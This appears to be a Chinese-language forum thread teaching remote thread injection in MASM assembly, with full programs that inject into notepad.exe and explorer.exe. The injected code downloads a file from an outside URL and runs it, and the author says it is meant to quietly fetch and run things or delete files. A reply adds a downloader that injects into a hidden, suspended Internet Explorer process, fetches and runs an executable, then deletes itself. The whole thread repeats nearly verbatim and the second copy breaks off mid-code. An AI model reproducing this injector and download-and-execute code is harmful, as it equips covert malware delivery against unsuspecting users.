简单的线程注入的实现
注:代码编写过程参考了一些资料,在此谢过....
最近在搞线程注入。其实这个流程也蛮简单的。一些书上写的线程注入,都是使用 call [ebx + XXXX]的形式来解决重定位,这样的话,invoke伪指令就不能直接使用了.就像用伪指令调用messagebox,本来就是invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK,远程注入的话,代码就要变动,写成如下形式:
[code]
lea eax[ebx+szTitle]
lea ecx[ebx+szCaption]
_invoke [ebx,_MessageBox] ,NULL,ecx,eax,MB_OK
[/code]
还挺麻烦的.我通过参考网络上的一些资料,通过线程注入记事本,计算器,或者别的知道了窗口类的软件进程。在他们的基础上,线程注入,然后注入的代码编写成其他我需要体现的,例如,悄悄下载一些东西并且运行,删除一些文件等,这个是个人爱好了.
下面是主要的注入记事本进程后运行的代码:
[code]
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
[/code]
这段代码是插在记事本运行的,所以它自己要装载API所需要的dll。比如URLDownloadToFile,是urlmon.dll里面的,所以,要用LoadLibrary装载
[code]
push 00403008H
call LoadLibrary
[/code]
00403008H这个地址,是urlmon.dll的内存地址,在同一个exe文件的空间,内存地址是没有改变,所以00403008H压栈,然后call LoadLibrary调用,这样我们就可以使用这个API下载文件了。ShellExecute是在shell32.dll里面,在远程线程调用,自然也要
[code]
push 00403013H
call LoadLibrary
[/code]
其中00403013H是shell32.dll的内存地址。全部都装载完毕,API就可以正常调用
[code]
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
[/code]
使用了伪指令的方式注入。
怎么寻找到记事本的ID?windows提供了FindWindow,只要知道记事本的窗口类,就可以GetWindowThreadProcessId找到了。知道记事本的窗口类很简单,只要下载一些查看窗口类名的工具就可以了,然后你可以随便注入一个知道窗口类的程序进程空间。
[code]
szCalss db 'Notepad',0
.
invoke FindWindow,addr szCalss,0
.
[/code]
找到之后,调用GetWindowThreadProcessId可以从窗口类句柄找到PID.接着,OpenProcess找到句柄,其中,要以“允许创建远程线程”,“允许使用进程的地址空间”,“ PROCESS_VM_WRITE”的权限打开。因为我们就是要对记事本的空间进行写的操作,权限务必要足够。如果记事本没有内存空间给我们存放代码,那么也枉然,然后要释放和分配内存空间,VirtualFreeEx与VirtualAllocEx就可以做到,其中VirtualAllocEx返回的句柄保存在寄存器eax中,mov hWnd,eax传送到hWnd做为操作的句柄,用WriteProcessMemory开始写它的内存空间,CreateRemoteThread创建指定的线程目标进程句柄,也就是我们最后的注入代码.
下面是完整代码:
[code]
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szCalss db 'Notepad',0
szURL db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:/shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke FindWindow,addr szCalss,0
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+/
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
[/code]
其实这段:
[code]
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
[/code]
可以将它转换成机器码,这样就不需要子程序了.直接"szShellcode db ............",在写入空间地址的时候,直接wirte进去....
测试方法:
打开一个记事本后运行程序,就注入,然后运行你的写字版了...
BUG描述:
同样一个编译好的程序,在这个时候运行,测试成功,写字版正常打开,过会就不知道为什么,记事本出现错误.郁闷了我,知道为什么的请支个招 [s:73] [s:73]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
刚刚看了一个牛淫的代码,copy了一部分并做了注释,把它放到我的代码中,就可以注入explorer.exe进程了,恭喜一下:
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage ;保存整个PE的内存影射尺寸
mov ShellSize, eax ;保存在dwSize,以便下面写入
assume edi:NOTHING
只是做了一点注释.将一个DOS下PE文件的标识 MZ 加到寄存器edi。对于sizeof的用法,好像是在内存中的字节变量的大小.. 然后讲编译好的程序的内存尺寸SizeOfImage保存在eax。mov ShellSize, eax,将SizeOfImage存到了ShellSize
修改过后的注入explorer.exe完整代码,windows XP SP2下测试通过:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szDesktopClass db 'Progman',0 ;explorer.exe 的窗口类
szDesktopWindow db 'Program Manager',0
szURL db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:/shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+/
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start 除了使用 FindWindow 寻找窗口类,其实还可以用快照,然后枚举进程获取PID,下面是部分代码:
[code]
invoke RtlZeroMemory,addr stProcess,sizeof stProcess
mov stProcess.dwSize,sizeof stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,addr stProcess
mov hSnapShot,eax
invoke Process32First,hSnapShot,addr stProcess
.while eax
invoke lstrcmp,addr szExplorer,addr stProcess.szExeFile
.if eax == NULL
push stProcess.th32ProcessID
pop Pid
.endif
invoke Process32Next,hSnapShot,addr stProcess
.endw
[/code]
通过CreateToolhelp32Snapshot获取进程快照,保存快照句柄hSnapShot,接着就是Process32First和Process32Next组合例举进程,lstrcmp对比了一下,如果如果发现进程中是符合szExplorer定义的 szExplorer db 'explorer.exe',0 就把进程PID入栈保存,然后再继续OpenProcess..................
完整代码如下:
[code]
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szExplorer db 'explorer.exe',0
szURL db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:/shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
hSnapShot dd ?
stProcess PROCESSENTRY32 <?>
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;在原来的代码继续执行,这里开始获取进程快照并找出PID压栈保存
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke RtlZeroMemory,addr stProcess,sizeof stProcess ;清空内存
mov stProcess.dwSize,sizeof stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,addr stProcess
mov hSnapShot,eax
invoke Process32First,hSnapShot,addr stProcess
.while eax
invoke lstrcmp,addr szExplorer,addr stProcess.szExeFile
.if eax == NULL
push stProcess.th32ProcessID
pop Pid
.endif
invoke Process32Next,hSnapShot,addr stProcess
.endw
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着开始执行原来的代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_WRITE+/
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
[/code] 其中,第二种方法代码较多,比较麻烦.....还是FindWindow好..
但是如果无法找到窗口类的话,例如一些其他用户程序,在找不到窗口类的情况之下,就用快照,这个时候第二种
方法比较合适............ 看不太明白,努力学习吧。 和这个没有什么区别
[code]
.386
.model flat,stdcall
option casemap:none
include windows.inc
include urlmon.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib urlmon.lib
includelib kernel32.lib
Download proto
.data
szUrlmon db "urlmon.dll",0
szURL db "[url]http://192.168.1.5/123.exe[/url]",24 dup (0)
szFile db "c:/test.exe",39 dup (0)
szCmdline db "c:/program files/internet explorer/iexplore.exe",0
szAdd db '/cmd.exe /c del "',0
quote db '"',0
.data?
cbSize DWORD ?
cdWritten DWORD ?
pid DWORD ?
hProcess DWORD ?
hModule DWORD ?
hThread DWORD ?
startupinfo STARTUPINFO <?>
pi PROCESS_INFORMATION <>
SelfPath db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)
.code
start:
invoke GetModuleHandle,0
mov hModule,eax
mov edi,eax
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew
add edi,sizeof DWORD
assume edi:ptr IMAGE_FILE_HEADER
add edi,sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax,[edi].SizeOfImage
mov cbSize,eax
lea esi,offset startupinfo
assume esi:ptr STARTUPINFO
mov [esi].cb,sizeof STARTUPINFO
invoke GetStartupInfo,offset startupinfo
mov [esi].wShowWindow,SW_HIDE
mov [esi].dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
invoke createProcess,offset
szCmdline,NULL,NULL,NULL,FALSE,create_SUSPENDED,NULL,NULL,offset startupinfo,offset pi
lea esi,offset pi
assume esi:ptr PROCESS_INFORMATION
mov eax,[esi].dwProcessId
mov pid,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid
mov hProcess,eax
invoke VirtualAllocEx,hProcess,hModule,cbSize,MEM_COMMIT or
MEM_RESERVE,PAGE_EXECUTE_READWRITE
invoke WriteProcessMemory,hProcess,eax,hModule,cbSize,offset cdWritten
invoke createRemoteThread,hProcess,0,0,addr Download,hModule,0,ebx
mov hThread,eax
invoke WaitForSingleObject,hThread,INFINITE
invoke CloseHandle,hThread
invoke CloseHandle,hProcess
deleteSelf:
invoke GetModuleFileName,NULL,offset SelfPath,MAX_PATH
invoke GetSystemDirectory,offset szCmd,MAX_PATH
invoke lstrcat,offset szCmd,offset szAdd
invoke lstrcat,offset szCmd,offset SelfPath
invoke lstrcat,offset szCmd,offset quote
invoke Sleep,200
invoke WinExec,offset szCmd,SW_HIDE
invoke ExitProcess,0
Download proc
invoke LoadLibrary,offset szUrlmon
invoke URLDownloadToFile,NULL,offset szURL,offset szFile,0,NULL
invoke WinExec,offset szFile,SW_SHOW
invoke ExitThread,0
Download endp
end start
[/code]
注:代码编写过程参考了一些资料,在此谢过....
最近在搞线程注入。其实这个流程也蛮简单的。一些书上写的线程注入,都是使用 call [ebx + XXXX]的形式来解决重定位,这样的话,invoke伪指令就不能直接使用了.就像用伪指令调用messagebox,本来就是invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK,远程注入的话,代码就要变动,写成如下形式:
[code]
lea eax[ebx+szTitle]
lea ecx[ebx+szCaption]
_invoke [ebx,_MessageBox] ,NULL,ecx,eax,MB_OK
[/code]
还挺麻烦的.我通过参考网络上的一些资料,通过线程注入记事本,计算器,或者别的知道了窗口类的软件进程。在他们的基础上,线程注入,然后注入的代码编写成其他我需要体现的,例如,悄悄下载一些东西并且运行,删除一些文件等,这个是个人爱好了.
下面是主要的注入记事本进程后运行的代码:
[code]
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
[/code]
这段代码是插在记事本运行的,所以它自己要装载API所需要的dll。比如URLDownloadToFile,是urlmon.dll里面的,所以,要用LoadLibrary装载
[code]
push 00403008H
call LoadLibrary
[/code]
00403008H这个地址,是urlmon.dll的内存地址,在同一个exe文件的空间,内存地址是没有改变,所以00403008H压栈,然后call LoadLibrary调用,这样我们就可以使用这个API下载文件了。ShellExecute是在shell32.dll里面,在远程线程调用,自然也要
[code]
push 00403013H
call LoadLibrary
[/code]
其中00403013H是shell32.dll的内存地址。全部都装载完毕,API就可以正常调用
[code]
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
[/code]
使用了伪指令的方式注入。
怎么寻找到记事本的ID?windows提供了FindWindow,只要知道记事本的窗口类,就可以GetWindowThreadProcessId找到了。知道记事本的窗口类很简单,只要下载一些查看窗口类名的工具就可以了,然后你可以随便注入一个知道窗口类的程序进程空间。
[code]
szCalss db 'Notepad',0
.
invoke FindWindow,addr szCalss,0
.
[/code]
找到之后,调用GetWindowThreadProcessId可以从窗口类句柄找到PID.接着,OpenProcess找到句柄,其中,要以“允许创建远程线程”,“允许使用进程的地址空间”,“ PROCESS_VM_WRITE”的权限打开。因为我们就是要对记事本的空间进行写的操作,权限务必要足够。如果记事本没有内存空间给我们存放代码,那么也枉然,然后要释放和分配内存空间,VirtualFreeEx与VirtualAllocEx就可以做到,其中VirtualAllocEx返回的句柄保存在寄存器eax中,mov hWnd,eax传送到hWnd做为操作的句柄,用WriteProcessMemory开始写它的内存空间,CreateRemoteThread创建指定的线程目标进程句柄,也就是我们最后的注入代码.
下面是完整代码:
[code]
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szCalss db 'Notepad',0
szURL db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:/shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke FindWindow,addr szCalss,0
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+/
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
[/code]
其实这段:
[code]
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
[/code]
可以将它转换成机器码,这样就不需要子程序了.直接"szShellcode db ............",在写入空间地址的时候,直接wirte进去....
测试方法:
打开一个记事本后运行程序,就注入,然后运行你的写字版了...
BUG描述:
同样一个编译好的程序,在这个时候运行,测试成功,写字版正常打开,过会就不知道为什么,记事本出现错误.郁闷了我,知道为什么的请支个招 [s:73] [s:73]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
刚刚看了一个牛淫的代码,copy了一部分并做了注释,把它放到我的代码中,就可以注入explorer.exe进程了,恭喜一下:
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage ;保存整个PE的内存影射尺寸
mov ShellSize, eax ;保存在dwSize,以便下面写入
assume edi:NOTHING
只是做了一点注释.将一个DOS下PE文件的标识 MZ 加到寄存器edi。对于sizeof的用法,好像是在内存中的字节变量的大小.. 然后讲编译好的程序的内存尺寸SizeOfImage保存在eax。mov ShellSize, eax,将SizeOfImage存到了ShellSize
修改过后的注入explorer.exe完整代码,windows XP SP2下测试通过:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szDesktopClass db 'Progman',0 ;explorer.exe 的窗口类
szDesktopWindow db 'Program Manager',0
szURL db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:/shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+/
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start 除了使用 FindWindow 寻找窗口类,其实还可以用快照,然后枚举进程获取PID,下面是部分代码:
[code]
invoke RtlZeroMemory,addr stProcess,sizeof stProcess
mov stProcess.dwSize,sizeof stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,addr stProcess
mov hSnapShot,eax
invoke Process32First,hSnapShot,addr stProcess
.while eax
invoke lstrcmp,addr szExplorer,addr stProcess.szExeFile
.if eax == NULL
push stProcess.th32ProcessID
pop Pid
.endif
invoke Process32Next,hSnapShot,addr stProcess
.endw
[/code]
通过CreateToolhelp32Snapshot获取进程快照,保存快照句柄hSnapShot,接着就是Process32First和Process32Next组合例举进程,lstrcmp对比了一下,如果如果发现进程中是符合szExplorer定义的 szExplorer db 'explorer.exe',0 就把进程PID入栈保存,然后再继续OpenProcess..................
完整代码如下:
[code]
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szExplorer db 'explorer.exe',0
szURL db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:/shell.doc',0
.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
hSnapShot dd ?
stProcess PROCESSENTRY32 <?>
.code
Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;在原来的代码继续执行,这里开始获取进程快照并找出PID压栈保存
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke RtlZeroMemory,addr stProcess,sizeof stProcess ;清空内存
mov stProcess.dwSize,sizeof stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,addr stProcess
mov hSnapShot,eax
invoke Process32First,hSnapShot,addr stProcess
.while eax
invoke lstrcmp,addr szExplorer,addr stProcess.szExeFile
.if eax == NULL
push stProcess.th32ProcessID
pop Pid
.endif
invoke Process32Next,hSnapShot,addr stProcess
.endw
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着开始执行原来的代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_WRITE+/
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
[/code] 其中,第二种方法代码较多,比较麻烦.....还是FindWindow好..
但是如果无法找到窗口类的话,例如一些其他用户程序,在找不到窗口类的情况之下,就用快照,这个时候第二种
方法比较合适............ 看不太明白,努力学习吧。 和这个没有什么区别
[code]
.386
.model flat,stdcall
option casemap:none
include windows.inc
include urlmon.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib urlmon.lib
includelib kernel32.lib
Download proto
.data
szUrlmon db "urlmon.dll",0
szURL db "[url]http://192.168.1.5/123.exe[/url]",24 dup (0)
szFile db "c:/test.exe",39 dup (0)
szCmdline db "c:/program files/internet explorer/iexplore.exe",0
szAdd db '/cmd.exe /c del "',0
quote db '"',0
.data?
cbSize DWORD ?
cdWritten DWORD ?
pid DWORD ?
hProcess DWORD ?
hModule DWORD ?
hThread DWORD ?
startupinfo STARTUPINFO <?>
pi PROCESS_INFORMATION <>
SelfPath db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)
.code
start:
invoke GetModuleHandle,0
mov hModule,eax
mov edi,eax
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew
add edi,sizeof DWORD
assume edi:ptr IMAGE_FILE_HEADER
add edi,sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax,[edi].SizeOfImage
mov cbSize,eax
lea esi,offset startupinfo
assume esi:ptr STARTUPINFO
mov [esi].cb,sizeof STARTUPINFO
invoke GetStartupInfo,offset startupinfo
mov [esi].wShowWindow,SW_HIDE
mov [esi].dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
invoke createProcess,offset
szCmdline,NULL,NULL,NULL,FALSE,create_SUSPENDED,NULL,NULL,offset startupinfo,offset pi
lea esi,offset pi
assume esi:ptr PROCESS_INFORMATION
mov eax,[esi].dwProcessId
mov pid,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid
mov hProcess,eax
invoke VirtualAllocEx,hProcess,hModule,cbSize,MEM_COMMIT or
MEM_RESERVE,PAGE_EXECUTE_READWRITE
invoke WriteProcessMemory,hProcess,eax,hModule,cbSize,offset cdWritten
invoke createRemoteThread,hProcess,0,0,addr Download,hModule,0,ebx
mov hThread,eax
invoke WaitForSingleObject,hThread,INFINITE
invoke CloseHandle,hThread
invoke CloseHandle,hProcess
deleteSelf:
invoke GetModuleFileName,NULL,offset SelfPath,MAX_PATH
invoke GetSystemDirectory,offset szCmd,MAX_PATH
invoke lstrcat,offset szCmd,offset szAdd
invoke lstrcat,offset szCmd,offset SelfPath
invoke lstrcat,offset szCmd,offset quote
invoke Sleep,200
invoke WinExec,offset szCmd,SW_HIDE
invoke ExitProcess,0
Download proc
invoke LoadLibrary,offset szUrlmon
invoke URLDownloadToFile,NULL,offset szURL,offset szFile,0,NULL
